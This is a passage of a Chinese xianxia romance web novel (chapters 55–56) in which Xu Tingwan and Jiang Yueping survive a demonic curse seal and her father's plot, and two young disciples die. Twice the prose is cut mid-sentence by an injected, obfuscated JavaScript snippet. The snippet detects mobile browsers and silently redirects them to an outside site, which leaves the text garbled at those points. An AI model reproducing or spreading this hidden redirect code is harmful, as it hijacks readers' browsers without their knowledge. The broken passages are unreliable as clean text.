当她终于认清自己对江月平的感情时,她不得不选择远离,努力克制。至少现在,她们还能并肩同行,保持现状。 而这时,江月平却主动靠近了她,只见她的指尖微微颤抖,眼神中满是痛苦,紧盯着安稳睡着的自己。 一滴晶莹的泪珠悄然滑落,透露出无尽的无奈与哀伤。她低沉而轻声地说道:“江月平,倘若有一天我离去了,你一定要为我讨回公道,时刻铭记我的恩情,切莫将我遗忘。” 江月平沉睡未醒,对于徐听晚的这番哭诉,无人知晓。待泪水流尽,她缓缓起身,寻来一把椅子,静静地坐在窗边,凝视着那轮皎洁的明月,就这样,在椅子上倚靠了一整夜,直至天明。 几日之后,徐听晚与江月平二人御剑,直达上北城。在温乐天的指引下,他们首先寻得了万安的安息之所——一个无名的小坟包,孤零零地立于野地之中。徐听晚与江月平二人小心翼翼地将其挖开,只见里面仅有一个小巧的盒子,打开一看,里面仅存的不过是些零散的骨骸,除此之外,别无他物。 据温乐天所述,他找到万安之时,现场便已是如此凄凉,符笔在一旁碎裂不堪,骨肉更是被焚烧得所剩无几。 徐听晚轻轻地将这个小巧的盒子递给了江月平,说道:“到时候,你替我将它送去吧,我实在懒得跑这一趟。” 江月平欣然接过盒子,轻轻点了点头,心中暗自欢喜,大师姐竟托她做事。 徐听晚与江月平一同清扫了位于上北城的院落,随后在此安然度过了一夜。 道侣大典的盛况空前,仙鹤翩翩引路,云舟缠绕着洁白的纱幔,伴随着云雾缭绕于宗门之上缓缓行进。 对于徐听晚而言,这是她首次目睹道侣大典的盛景,她满怀好奇地四处打量。不经意间侧头,瞥见江月平正与孟鹤低声交谈,她心中莫名一沉,于是快步走开。恰在此时,她无意间听见姜满正与剑竹宗掌门交谈。 “你是说傅亦舟失踪了?”姜满的声音中充满了愤怒。 被问之人轻轻应了一声,姜满顿时厉声喝道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290256|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“月恒此刻正在那边等候,你们快去寻找,就算是尸体,也必须给我带回来!” “是。” 徐听晚紧锁眉头,心中暗自思量,傅亦舟的失踪,莫非真是父亲为她铺设的契机?但她绝不能因私情而搅扰了傅亦舟与月恒的道侣大典。于是,她狠下心来,随着剑竹宗掌门的步伐,跟在搜寻的人群之后。 她紧随众人,终于发现了傅亦舟本应搭乘的云舟栽倒在树林之中。然而,云舟之上,魔气缭绕,尸体横陈,徐听晚不禁瞪大了双眼,心中惊疑,这魔修怎会牵涉其中? 就在这时,一条黑色魔蛇猛然出现,张开血盆大口,欲将众人吞噬。徐听晚见状,不得不挺身而出,一剑挥出,魔蛇应声而断。但就在她松懈之际,一股浓郁的黑雾骤然涌现,将她团团围住。糟了,这是魔修的咒印! 在这千钧一发之际,她似乎瞥见江月平正向她狂奔而来。 “大师姐!”江月平焦急地呼唤。 徐听晚定睛一看,江月平竟真的跟了进来。 “你进来做什么!”她眉头紧蹙,无奈地看着江月平。 如今,魔修已然掺和其中,她或许还能以受伤为借口。但江月平与她一同涉险,这任务她如何还能完成?又如何去寻找合理的借口呢? 远处的徐君彦微眯着眼眸,身后紧跟着两名同样身着黑衣的人,他们三人带着面具面无表情地凝视着这边。 这时,一位女子的声音清晰响起:“徐掌门,你这位女儿可信吗?” 徐君彦冷哼一声,回答道:“看看情况不就清楚了,如果她没能杀掉江月平并走出来,我们再动手除掉她们两个也不迟,若是她们都死了也行。” 女子轻轻哼了一声,提醒道:“你如今身居高位,可别忘了我们之间的约定。” 另一位黑衣人始终保持着沉默,而徐君彦却将目光投向了他,沉声道:“沈怀溪,你最好还是听我的,没有我给的药,闻堰是活不了的。” “当然。”沈怀溪低沉地回应道,原来他竟是泽明器宗的掌门沈怀溪。 女子嘴角微翘,戏谑道:“徐君彦,那毒药还是兰老头子亲手交给你的,你取了他性命,日后该不会也将我们视作靶子吧。” 徐君彦眉头紧锁,语气中满是不屑:“兰家无能至此,连个宗门的丹药交易都无法维持,留着又有何用?” 女子闻言,脸上闪过一丝讶异,低声自语:“怎会连宗门的丹药交易都承担不起?” 徐君彦面色阴沉,断言道:“此类世家,只配做他人的垫脚石,留着不过是浪费资源罢了。” 女子没有继续这个话题,转而望向远处被魔修袭击的云舟,嘴角再次勾起:“这魔修来得倒是恰到好处,省得我们动手劫持,再让徐听晚携江月平前来,最后还得伪装成魔修所为,真是繁琐。如今,倒是省事了。” 女子似是想到了某个念头,嘴角勾起一抹笑意,说道:“倘若依照计划,你女儿未能携江月平前来,你会如何应对呢?” 徐君彦面色冷漠,毫无波澜地回应:“她将无法重返五行道宗。” “真是心狠手辣,不过我倒是极为欣赏。你真的不再考虑一下我吗?我并不介意你曾与别的女人有过纠葛。”女子说着,试图搭上徐君彦的肩膀,却被他毫不犹豫地甩开。 “真是不解风情啊~”女子轻叹一声。 徐听晚步入了一个咒印之中,四周被浓厚的黑雾紧紧缠绕。咒印内部与外部截然不同,呈现出一片苍白的灰色,空中轻灰四处飘荡,营造出一种压抑的氛围。 枯木逐渐蜕变,一节一节地化为了森森白骨,时冷时热的气温如潮水般侵袭着人的身体,即便是强大的灵力也难以抵御这种侵袭。 徐听晚紧皱眉头,紧紧牵着江月平,将她护在身后,两人在昏暗的环境中四处探寻着线索。 突然,一柄长剑凌厉地袭来,正是月霜剑。徐听晚厉声喝道:“傅亦舟!”随即,她手中的判决剑迅速挥出,稳稳地抵住了这突如其来的攻击,月霜剑在碰撞中微微颤抖。 “你们……真的是徐道友和江道友吗?”傅亦舟的声音带着一丝颤抖,徐听晚微微侧头,看见他脸色苍白,眼神中充满了痛苦。 “为什么这么说?”徐听晚皱眉询问道。傅亦舟摇了摇头,往后退了几步,痛苦地吼道:“这里到处都是人,但都是假的,他们不让我去见阿月。如果我迟到了,阿月一定会生气的!” 徐听晚观察着他的精神状态,显然已经十分糟糕。从他的言语中,她判断这是一个致幻咒印。 她走上前去,一把抓住傅亦舟的手腕。他的体温随着咒印的变化而忽高忽低,显然已经完全被咒印所迷惑,无法自拔。 徐听晚深知,再过一会儿,他就会被咒印彻底操控,转而攻击她们。于是,她果断松开他的手,拉着江月平迅速往后退了几步。 傅亦舟一瞧见她,便慌慌张张地冲到她面前,跪倒在地,紧紧抓住她的衣摆。他双眼噙满泪水,痛哭失声:“徐道友,江道友,请你们务必带我出去,否则阿月定会责备我的。不不不……” 他似乎又想到了更为伤心之事,嘶吼着说:“阿月独自一人在道侣大典,定会感到无比无助和伤心。不不不,我绝不能让她伤心,求你们带我出去吧!” 江月平面露不忍,转头看向徐听晚。徐听晚强压下心中的怜悯,一脚将他踢开,拉着江月平向后退去。 江月平疑惑地看着徐听晚,徐听晚只能对她摇了摇头,希望她能相信自己。最终,江月平定下心来,站在徐听晚身旁,皱眉看着趴在地上的傅亦舟。 傅亦舟突然停止了哭泣,缓缓站起身,眼神空洞地盯着她们。紧接着,他七窍开始流血,嘴角勾起一抹诡异的笑容,举起月霜剑向两人冲去。 徐听晚挥剑打飞了月霜剑,江月平趁机刺向傅亦舟的心脏,却发现毫无效果。 “我们必须找到维持咒印的魔符,他已经不再是活人了,你也无法再杀死他。我们分头找,记住,看到任何人都不要相信,除非咒印被破解。我不会主动找你。” 说完,徐听晚一脚踹开傅亦舟,向一旁跑去。江月平点了点头,朝另一个方向奔去。 55.古琴 徐听晚毅然无视周遭涌现的种种幻影,无论何人呼唤她的名字,她都置若罔闻,任何阻挡在她面前的身影,都被她以一道凌厉的剑气轻松挥散。 她深知不能在咒印之地久留,于是焦急地感知着空中灵力的涌动。此地已陨落众多生灵,灵气因此变得混乱不堪,她只能耐心地一点一点地搜寻。 白骨堆积如山,徐听晚手持灵剑,一一仔细翻找。 与此同时,江月平正全神贯注地凝视着空中的灵力,只见灵力与魔气交织在一起,她侧身观察着隐匿于后的灵力,发现一丝浅红色的魔气正迅速逃窜,她立刻加速追赶。这缕魔气似乎察觉到自己被追踪,开始拼命疾飞。 江月平的身影从徐听晚身旁掠过,两人均未理会对方,她们心中都明白,彼此都是真实的存在。 她们的行为激怒了其他由魔气幻化而成的人影,江月平心中暗自感叹:大师姐的这招还真是奏效。 就在她即将触及那缕浅红色魔气之际,前方陡然现身的傅亦舟猛然一剑挥向徐听晚。她瞬间僵住,本能地拔剑格挡住月霜剑的锋芒。徐听晚缓缓回头,对她绽放出一抹微笑,紧接着,判决剑无情地刺入她的胸膛。 她猛然惊醒,这并非大师姐! 这些幻影虽数量不多,防御薄弱,一触即溃,但若被其触及,魔气的侵蚀后果将不堪设想。 江月平眼帘低垂,身形逐渐蜕变,变成那个如冷玉的男子。他猛地一脚踹开傅亦舟,利剑穿透了幻影的躯壳。 他足尖轻点,身形犹如离弦之箭,手中紧握着十张上品极速符,速度之快,连发丝都未能及时反应,纷纷缠绕在银冠之上,发簪随之跌落。此刻的他,已全然不见丝毫女相,剑眉星目,宛若苍山之巅的天水倾泻于青竹之上,尽显英雄气概。 他终于追上了那缕浅红色魔气,轻轻触碰,指尖微捻,瞬间察觉到了藏匿于一旁谷堆中的异样。 一道凌厉的剑气扫开骨堆,露出了隐藏的魔符。他一把抓住魔符,周围的幻影瞬间消散。此时,他已隐约看见了大师姐的背影,心中不禁犹豫,是否该向她坦白一切? 然而,就在大师姐即将转身之际,他却突然蹲下身来,服下丹药,全身因痛苦而蜷缩在地。她果断撕开了手中的魔符,咒印随之消散。 徐听晚见状,连忙快步上前,将她扶起。只见她胸口的剑痕外溢着魔气,徐听晚急忙扯开她胸前的衣物,仔细剔除所有沾染了魔气的血肉。 她紧紧地将她搂在怀里,警惕地环顾四周。突然,三个黑衣人凭空出现,徐听晚立刻抱紧江月平,迅速后退。 为首的黑衣人伸出一只手,徐听晚怒目圆睁,死死地盯着他脸上的面具,坚定地摇了摇头。紧接着,黑衣人手持铁剑,猛地朝她刺来。徐听晚轻笑一声,心中暗道:还真是谨慎。 她举起手中的剑抵挡,然而判决剑却显得力不从心,发出紫电般的摩擦声。她毕竟只是化神初期的修为,而徐君彦已经达到了炼虚初期,她根本无力与之抗衡。 这世间哪有什么轻易以弱胜强的道理,修为都是靠人一步步修炼得来的,又怎会轻易跨界杀人。 徐听晚被击飞出去,但她依旧紧紧抱着江月平。江月平双眼微眯,全身无法动弹,只能咬紧牙关,试图挣扎起身。 三张黑色无嘴面具深深地印在了徐听晚的脑海中,她的后背在树上摩擦得生疼,护体灵力也被全部击碎。仅仅一剑,便耗费了她五成的灵力。 她连通知其他人来帮忙的机会都没有,心中懊悔不已。她明白,自己终究还是走错了一步,或许,她根本就不应该来这里。 她将江月平安置在身后,随后取出判决剑,体内的灵力汹涌澎湃。她以血为墨,画下符咒,悲秋笔在手中微微颤抖。 徐听晚面色惨白如纸,一个肃杀阵法骤然将四人包围,却唯独将江月平排除在外。随着阵法的极致启动,徐听晚毅然决然地举起判决剑,对准了自己的丹田。 徐君彦瞪大了双眼,难以置信地喊道:“她疯了吗?竟然用自己的灵田作为阵心,布置肃杀阵法!” 八卦阵图全开,肃杀之气弥漫开来。这时,一个女子的声音尖锐地响起:“她要自爆!快走!” 然而,徐听晚全身的血液仿佛在倒流,她竟没有听清那女子的警告。徐君彦则猛地发力,试图冲破阵法的束缚。 三个黑衣人面面相觑,都不敢靠近徐听晚。因为他们深知,只要她这一剑刺入丹田,便会立刻引发爆炸。一个化神期修士的自爆,再加上肃杀阵法的加持,即便是他们三人都是炼虚修士,也绝对无法抵挡! “大师姐!”江月平的声音传来,带着一丝嘶哑,已经完全听不出她原本清脆的嗓音。 “大师姐!不要!”她声嘶力竭地呼喊,试图阻止徐听晚的疯狂举动。徐听晚闻言,苦涩地笑了笑。她心中明白,难怪江月平是女主,因为总会有她这种无怨无悔、甘愿为她铺路的人存在。 “徐听晚!”姜满如一阵风般疾驰而来,身后尾随着浩浩荡荡的一群人。那位曾被徐听晚从蛇口英勇救下,随后惊慌失措跑开的女孩,此刻满身泥泞,站在那里,正是她唤来了众人…… 徐听晚眼神迷离,缓缓放下了紧握的剑。长时间置身于那肃杀阵阵法之下,她的身体已然麻木不堪。三个黑衣人亦是伤痕累累,见姜满现身,他们慌忙逃窜。 姜满稳稳接住了徐听晚,怒目圆睁,瞪了逃遁的三人一眼。转过头,便瞧见了自己的二弟子月恒,她身着一袭月白色华服,身形微微摇晃,头上的流苏因灵力紊乱而四处飞舞。孟鹤急忙上前抓住她的手臂,却被她奋力挣脱。 泪水从月恒的眼眶中滑落,她踉踉跄跄地奔向远处傅亦舟的尸首,紧紧抱住他,痛苦地嘶吼着。她的哭声哀婉凄凉,令周围人纷纷皱眉,不忍目睹。 剑竹宗掌门眼眶泛红,傅亦舟是她的弟子,她又怎能不悲痛欲绝?方才若她在此,或许局面会有所不同。只可惜,那时她正随另一支小队搜寻。 然而,她修为仅至元婴中期,终究无力回天。这一届的亲传弟子,陨落众多,令人扼腕叹息。 他们本是修为普遍最高的一届,却未能善终。 在月恒的痛哭声中,众人纷纷散去,再逗留下去便显得不合时宜了。 初千墨缓缓走到月恒身旁,默默地陪伴着她一同哭泣。初千墨的哭泣是无声的,平日里那个常常昂首挺胸的她,此刻也因伤痛而低下了头颅。初千墨心中充满了内疚,按照常理,她本应与师弟一同乘坐云舟前来,然而,却因自己一时的兴起,跑到月恒的云舟上去玩耍。 众人尚未走远,便听见初千墨传来一声撕心裂肺的惊呼:“不!”这一声惊呼,让所有人都回头望去,就连正抱着昏迷的徐听晚、急匆匆想要赶回去的姜满,也不由自主地回了头。 月恒竟然一剑穿透了自己的心脏,与傅亦舟倒在了一起。月霜剑与赋怜剑紧紧相叠,落在地上,沾上四周散落着灰尘与鲜血。 初千墨蹲下身子,双手捂脸,痛哭失声。孟鹤身形踉跄,恍若隔世,侧首之际,恰好与抬头望来的江月平目光交汇,两人眼眶皆是赤红如血。 江月平紧咬牙关,挣扎着站起身,毅然决然地追向姜掌门,紧随其师姐的脚步而去。 孟鹤踉跄步至初千墨身旁,欲伸手将她搀扶,却被她猛然一推,摔倒在地。他此刻连站立都显得艰难,却仍强忍着不让泪水滑落。他不能脆弱,他还要守护宗门,保护其余的师弟师妹,更要铲除魔修,为师弟师妹报仇雪恨! 他挣扎着起身,紧咬牙关,一把抓住初千墨,将她扶起,双手紧握她的肩膀,声音沙哑而坚定:“好好修炼,为其报仇。” 这简短的八个字,仿佛重新点燃了初千墨心中的希望之火,她扑入孟鹤怀中,泪水如泉涌般倾泻而出。 初千墨清晰地记得,那年她与月恒姐姐一同踏入宗门,恰巧被安排在同一院落。初来乍到,她带着家中养成的娇纵脾气,唯有月恒姐姐愿意伸出援手,包容她的任性,与她结为挚友。即便月恒姐姐后来率先成为亲传弟子,也未曾疏远她这位朋友。 随后,傅亦舟的到来,初千墨在了解了两人的情谊后,深受感动。从此,三人时常相伴出游,在月恒与傅亦舟温柔性格的熏陶下,初千墨也逐渐变得沉稳。最终,她也成功晋升为亲传弟子,尽管只是小宗门的亲传,但她心中却满是欢喜。这样她便可以向父母证明,自己当初放弃继承家族酒楼、选择修仙之路的决定是正确的。 次日,初千墨与孟鹤亲手安葬了逝去的师弟师妹,天空恰好下起了雨,仿佛也在为逝者哀悼。 而在玄天剑宗的客院里,徐听晚静静地躺着,姜满则守在她的床边,亲手为她梳理紊乱的灵力,助她恢复。 大雨滂沱,雨点击打在伞面上,发出噼里啪啦的声响。初千墨与孟鹤撑着伞,面容显得格外疲倦,静静地站在那里。 初千墨微微侧头,目光落在孟鹤身上,轻声问道:“姜掌门还没到吗?” 孟鹤轻轻垂下眼眸,声音低沉:“师父稍后会到,徐道友的伤势颇为严重。” 初千墨闻言点了点头,时间悄然流逝,两座墓碑前,只剩下他们两人的身影。终于,初千墨的情绪再也无法抑制,他深吸一口气,泪水夺眶而出。回想起往昔,他们还曾在这后山的墓园里嬉戏摘山楂,如今却只剩下他们两人。山楂树依旧,而人却已四散,有的离去,有的逝去。 初千墨哽咽着低声道:“终究是物是人非,事事皆休,想要诉说却先泪流……” 孟鹤沉默不语,他怕自己也无法控制情绪,开始哽咽。他是这里待得最久的人,亲眼见证了大家的聚散离合。 此时,徐听晚缓缓睁开眼睛,看见姜满和江月平正坐在她的床边。她挣扎着撑起身子,发现身上的伤痛并没有想象中那般剧烈。 “多谢姜掌门。”她的声音中带着一丝疏离的感激。姜满闻言,轻轻垂下手,站起身来:“我去看看月恒和傅亦舟的后事处理得如何了,徐小友你好好休息。” 徐听晚轻轻应了一声,心中却泛起一阵波澜。月道友,也离世了吗? 她紧锁眉头,内心深处涌动着强烈的内疚感,不由自主地开始揣测,倘若遵循原书的剧情走向,他们二人或许能够免于这场劫难。 她痛苦地捂住脑袋,试图寻找一个完美的解决方案,然而,即便是时光能够倒流,她也感到束手无策。 江月平温柔地抚摸着她的头顶,轻轻推开了她那只用力按压着头的手,轻声说道:“大师姐,我们真的已经尽力了。”说完,她从背后轻轻环住了徐听晚的脖颈。 徐听晚的眼眶泛红,她极力克制着不让泪水滑落。根据原书的剧情,她推测小师妹此刻应该已经与孟鹤萌生了情愫,两人携手铲除邪恶势力,共同继承宗门并成为掌门,最终上演一场不被世俗所接受的掌门之恋,再勇敢地打破陈规,走到一起。 她苦笑一声,然而从各种利益关系的角度来看,掌门与掌门之间是绝对不可能走到一起的。 她决定将这个消息散布出去,既是为了揭露徐君彦和姜满的真面目,更是为了让小师妹看清现实,明白掌门与掌门之间是无法共结连理的。 她始终不敢向小师妹表露自己的心意,更不甘心看着她成为别人的伴侣。 “父亲绝不会轻易放过我们,我必须赌一把。”徐听晚的声音中带着难以掩饰的颤抖,江月平则将头深深埋进她的脖颈,用沉闷而坚定的声音回应:“无论结果如何,我都会陪你一起面对。” 徐听晚颤抖着手取出书卷,听闻江月平的话语后,更是紧紧捏住了书卷的一角,低垂着眼帘,迅速给温乐天发送了消息,安排人手将消息传播出去。 徐听晚是徐君彦和姜满的女儿,这一消息如同野火燎原,瞬间席卷了整个天河大陆。无论是街头巷尾还是宗门之内,无人不在议论纷纷。甚至有宗内弟子情绪激动地跑到大殿前示威,想要确认这一消息的真实性。 徐听晚面无表情地站在玄天剑宗的广场上,冷眼旁观着这一切。如果姜满和徐君彦真的联手要置她于死地,那么她也只好认命了。 回想起道侣大典那天所发生的事情,徐听晚心中已经有了几分推测。其实,姜满和徐君彦之间并没有所谓的合作关系,这也正是她敢于在自己伤势未愈的情况下,就让消息传播出去的原因。 她看到姜满缓缓走到自己身边,轻轻揽住她的肩膀,坦然说道:“没错,徐听晚确实是我的女儿。我将辞去掌门之位,由其他长老代为管理。”说完,姜满便松开了手,一步步向宗门外走去。徐听晚望着她逐渐远去的背影,眼中稍稍有些诧异,原本以为她会争论一番。 倘若如今能如此坦然自若,当初又何必狠心将她弃之不顾,她心中满是困惑,但已不再介怀。 姜满一旦承认,徐君彦也别无选择,只能默认。如此,她只需巧妙地将这消息归咎于林流华的传播,便可坐观三人相争,自己则坐收渔利。然而,徐听晚心中仍旧难以释怀,烦闷不已。 尽管一切似乎都在朝着最有利的方向发展,徐听晚紧握双拳,但片刻之后,她便不再纠结。那些舍弃她的人,她不会再挽留;那些欺骗她的人,她也绝不会再次轻信。 “大师姐,师父已经辞去了掌门之位。”江月平的声音从身后清晰地传来。 两人在玄天剑宗漫步了许久,终于等来了这个期盼已久的消息。随后,她们乘上云舟返回宗门,云舟之上的修士纷纷好奇地打量着她们,尤其是徐听晚。关于徐君彦、林流华和姜满三人的故事,已经传出了多个版本,说书人口若悬河,讲述了一遍又一遍,甚至有人用留影石将其记录下来,放在书卷上,与他人一同探讨哪个版本更为真实。 徐听晚一路上沉默不语,直至抵达银月城,闻堰已在云舟停泊处等候她们。 主城区的街道上,人们望向她的眼神中带着凝重。此刻,舆论的风向已经转变,从徐君彦被欺骗,到林流华被徐君彦和姜满两人联手欺骗,夹在中间的徐听晚自然也受到了波及。 只是念及她的修为高天赋好且对此事并不知情,众人才没有对她群起而攻之。 徐听晚早已预料到如今的场面,她深知,只要自己亲手除掉徐君彦,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300760|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针对她的舆论便会烟消云散。 回到五行道宗后,由于江月平也受了伤,万安的遗骨便由温乐天带往了下南城。 徐听晚悠然地在宗门内缓步前行,她已改写了自己原本必死的命运,每一步都凝聚着她竭尽全力筹谋的心血。 掌门院落静悄悄的,空无一人,徐听晚轻轻推开门步入其中,往昔的恐惧与不甘仿佛随着这扇门一同被关在了门外。 她会凭借自己的灵力去追逐心中的野心,即便失败,她也坦然接受,因为她至少要确保自己一生无愧无憾,如此方能心安理得地度过余生。 徐听晚关好掌门院落的门,转身踏上归途。 途中,一阵悠扬的琴声忽然传入耳中,原来是江月平的院门未关,徐听晚路过时恰好能望见她在院中抚琴的身影。 她耐心地等到江月平一曲终了,才轻轻敲门示意,得到应允后步入院中,目光直视着江月平,问道:“月平,何时学会了这古琴?” 江月平微微摇头,答道:“没学多久,只是在藏书阁偶然翻到一本曲谱,便找了银月城的乐师学了点皮毛。” 徐听晚闻言,点了点头,道:“那我先回去修炼了。” “嗯。”江月平轻声应和。 徐听晚轻轻转身,步出了院子,眼帘微垂,脑海中浮现出江月平方才抚琴的模样,那姿态宛若月中仙子轻拨荷花琴弦,纯洁无瑕,宛若白雪。 江月平则抬眼望向徐听晚渐行渐远的背影,浅黄色的丝带在傍晚的微风中轻轻飘扬,即使是清冷而华贵的暖玉花在她身旁也似乎黯淡了几分光彩。 月光洒落,徐听晚不禁苦笑,她深知江月平方才的弹奏尚显生疏,显然是新学之曲,并不纯熟。然而,她仍旧依偎在墙边,静静聆听,直至深夜。 琴声戛然而止,随即,门外传来了轻轻的敲门声。徐听晚起身开门,门外站着的,正是江月平。 “大师姐,我练琴时一时沉浸其中,竟忘却了时间的流逝,实在抱歉打扰了。这是银月城最新推出的花糖,特地带来给您尝尝。” 徐听晚轻轻一笑,接过她手中的糖盒。月光下,糖盒上精细描绘的花朵图案栩栩如生,令人赞叹其工艺的精巧。 她取出一颗花糖放入口中,那是水果与花香交织的美妙滋味。随后,她缓缓靠近江月平,嘴角勾起一抹笑意,轻声说道:“月平,你这是在刻意讨好我吗?” 随着话语间糖果的花果香气飘散,江月平一时之间有些慌乱,她垂下眼眸,表面看似抗拒,实则身体在面对徐听晚的靠近时,没有丝毫的退缩。 江月平轻声细语道:“大师姐,他们说朋友之间应该懂得分享。” 此刻,徐听晚与她面对面,距离近得只有一颗豌豆般大小,她将一颗花糖塞入江月平的口中,嘴角微扬道:“没错,朋友之间就是要分享。味道如何?” 江月平含着花糖,努力让自己的情绪恢复平静,她抬起眼眸,直视着徐听晚的眼睛,认真回答道:“很好吃。” “月平,我要开始修炼了。”徐听晚轻轻垂下眼眸,转身向屋内走去。 “嗯。”江月平轻声应和,随即关上了门。她的唇齿间是与大师姐相同的味道,这让她不禁快步走回院落,耳尖和脸颊都染上了绯红。 她刚才究竟在想些什么?竟然会有亲吻大师姐的念头,这实在是太失礼了。 徐听晚轻笑一声,将江月平上次送来的葡萄碗放在桌上,随后将花糖放入其中。她拿出一本阵法书籍,开始认真地打草稿进行推演。 窗户旁的暖玉花仿佛即将绽放,就在它开花的那天,她坐在窗边静静地躺了很久,什么也没做,什么也没想,就这样度过了一整天。除了下午时分,会突然传来江月平那略显生涩的琴声。 她熟悉江月平弹奏的每一首曲子,尽管不知道名字,但她能分辨出来。因为每一首曲子,她都是从江月平最初的磕磕绊绊,听到后来的融会贯通。 暖玉花簇拥在一起,在阳光下显得格外繁盛,光是看着就让人心情愉悦。她会将花放在屋内唯一能感受到阳光的地方,只是暖玉虽美丽可花期太过短暂。它的枯萎并非一蹴而就,而是从外到内,一点一点地腐烂,这是一种漫长的煎熬。 但只要根还在,明年它还是会再次开花。只是不知道明年、后年,或者未来的日子里,是否还会有人像她这样,静静地欣赏它的美丽。 江月平已弹琴半年有余,转眼间,又是一个冬日降临。初雪纷飞的那天,徐听晚正在院中练剑,心中隐隐有种预感,月平定会邀她同往银月城共赏雪景。 敲门声忽地响起,徐听晚放下手中剑,前去开门,只见石观明立于门外。那一刻,她的心不由自主地沉了一下,但很快便恢复了常态,轻声问道:“二师弟,找我何事?” “我带来了一些温甜水,想邀你一同去银月城逛逛。”石观明说道。 徐听晚正要应允,一旁却传来了江月平的声音:“大师姐,我们一起去乐楼看雪吧。” 石观明见状,默默退了一步,看着江月平拉着徐听晚离去,既然是小师妹他只能无奈地笑了笑。此时,柳清云和温乐天恰好从他们身旁经过,两人惊讶地看着徐听晚,如此活跃灵动的小师妹,着实令人意想不到。 两人走到石观明身边,温乐天接过他手中的温甜水,喝了一口,提议道:“要不,我们一起去藏书阁看书如何?” 柳清云接过温乐天递来的温甜水,一饮而尽,随后笑靥如花地说道:“二师兄,咱们去藏书阁稍作阅读后,一同前往晚上的银月城面具灯会如何?” 石观明微微蹙眉,问道:“那大师姐和小师妹不与我们同行吗?” 温乐天轻轻摇头,回答道:“咱们男子自去玩乐,她们女子自有安排。听说面具灯会上会有秘境对决的演绎舞台当街表演,我恰巧在对面酒楼二楼订了位置,能一览无余地观赏整个舞台。” 柳清云闻言,眼中闪过一丝期待,嘴角微微上扬道:“我还挺好奇,会是谁扮演我呢!” 温乐天转头看向他,两人相视一笑,温乐天同样难掩激动之情:“我也很期待!” 石观明见状,无奈地叹了口气,便任由他们去了。 徐听晚被江月平引领至乐楼之巅,两人一同步入了最顶层的雅致包间。 徐听晚的目光瞬间被窗边那张躺椅所吸引,她满心欢喜地走近,心中暗自惋惜。其实,她早就有意购置一张,却总因琐事而遗忘,直至渴望在窗边小憩之时,才会猛然忆起这份缺失。 “下次,我一定要记得在屋里放一张躺椅。”徐听晚边说着,边走到窗边,凝视着外面飘洒的雪花,今年的雪花似乎格外柔和。 此时,江月平在身后藏着什么,她缓缓走近徐听晚,轻声说道:“大师姐,我院里多买了一个躺椅,你可以搬走一个。” 徐听晚转头看向她,嘴角勾起一抹轻笑:“那可真是太好了,谢谢你,月平。”说完,她轻轻靠近江月平的脸庞。 江月平的脸颊瞬间染上了红晕,最终,她鼓起勇气,将身后的东西猛然拿出,徐听晚见状,眼中满是惊讶。 56.温家 一支暖玉花在江月平的手中,此花的养护条件极为苛刻,即便是冬日里的一缕寒风,也能瞬间将其娇嫩的花瓣吹得凋零,然而,徐听晚竟然在冬日有幸目睹了它的芳华。 “冬日暖玉,真是令人难以置信。”徐听晚接过那朵花,眼中满是惊叹。尽管此刻的花朵已不如先前那般生机勃勃,但她依旧对它爱不释手。暖玉花本就娇贵异常,一旦被摘下,最多只能维持半个时辰的鲜活,而此刻的模样,似乎才仅仅过去一刻钟,依然保持着动人的美丽。 江月平嘴角微微上扬,轻声解释道:“只需用调节温度的灵器,便能做到这一点。大师姐若是喜欢,那便是最好的了。” 要知道,要保持这样的温度,通常需要每隔一个时辰调节一次。徐听晚对此不太了解,也没有再追问下去,她嘴角含笑,将手中的暖玉花伸向窗外。 “倘若我向世人宣称暖玉花见过雪,恐怕会被人当成疯子吧。”风雪肆虐,卷着花瓣飘向远方。徐听晚侧头凝望,此刻她的手中,只剩下一截枯枝败叶。 江月平迅速抓住她手中的枯枝,另一只手则取出一张烈火符,轻轻一挥,一团夹杂着雪花的烈火骤然出现。这一幕,瞬间将徐听晚的记忆拉回到了上北城。 突然,徐听晚嘴角勾起一抹轻笑,头轻轻倚靠在窗边,侧首望向江月平,缓缓启齿:“月平……”她的话语在空中停顿了许久,随后轻声叹息,眼帘低垂,目光落在街上正争吵的一对男子身上。保持着那抹浅笑,她继续说道:“你猜,他们之中谁能买到那支发簪呢?” 江月平顺着她的视线,将注意力投向了下方街道上的人群。只见左边一名男子紧紧搂着身旁的女子,与右边的男子争执不下。 江月平仔细端详着这两位男子:左边的男子身着华丽服饰,腰间悬挂着精致的面具,面容清秀,宛如一位翩翩公子;而右边的男子则穿着粗布衣裳,头发略显枯黄,身材魁梧,透着一股英气。 “我猜是左边的那位吧,”江月平分析道,“他有心上人在旁,定不会轻易让给右边那位。况且他衣着华丽,似乎并不缺灵石。这支发簪品相普通,价格应该不贵。看右边男子的衣着打扮,左边男子应该能将价格抬到右边男子无法承受的地步。” 徐听晚闻言,又是一声轻笑,轻轻摇了摇头,说道:“小师妹,你可是猜错了哦。左边的那位会自己离开的,因为这仅仅是一支普通的簪子。” 她看着江月平一脸疑惑的表情,觉得颇为有趣。 “大师姐,快继续说啊。”江月平催促道。 